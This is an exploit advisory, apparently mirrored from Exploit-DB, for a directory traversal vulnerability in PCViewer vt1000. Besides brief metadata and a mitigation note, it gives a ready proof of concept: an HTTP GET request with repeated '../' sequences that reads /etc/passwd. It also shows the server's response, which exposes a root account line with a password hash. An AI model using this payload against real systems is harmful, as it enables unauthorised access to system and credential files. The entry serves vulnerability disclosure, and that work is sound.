PCViewer vt1000 - Directory Traversal

vendor:

PCViewer

by:

Berk Dusunur

7.5

CVSS

HIGH

Directory Traversal

CWE

Product Name: PCViewer

Affected Version From: vt1000

Affected Version To: vt1000

Patch Exists: NO

Related CWE: N/A

CPE: a:pcviewer:pcviewer

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Parrot OS

2018

PCViewer vt1000 – Directory Traversal

An attacker can exploit a directory traversal vulnerability in PCViewer vt1000 to gain access to sensitive files on the target system. By sending a specially crafted GET request, an attacker can traverse the directory structure and access files outside of the web root directory.

Mitigation:

Ensure that user input is validated and filtered before being used in file system operations. Use a whitelist of allowed characters and reject any input containing characters not on the whitelist.

Source

Exploit-DB raw data:

# Exploit Title: PCViewer vt1000 - Directory Traversal
# Exploit Author: Berk Dusunur
# Google Dork: N/A
# Type: Hardware
# Date: 2018-07-21
# Vendor Homepage: N/A
# Software Link: http://www.softpedia.com/get/System/File-Management/Pc-Viewer.shtml
# Affected Version: vt1000
# Tested on: Parrot OS
# CVE : N/A

# Proof Of Concept

GET Request

GET ../../../../../../../../../../../../etc/passwd HTTP/1.1
Host: target:8080/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0)
Gecko/20100101 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

Response

HTTP/1.1 200 OK
Server:Cross Web Server
Content-length: 59
Content-type: application/octet-stream

root:$1$$qRPK7m23GJusamGpoGLby/:0:0::/root:/bin/sh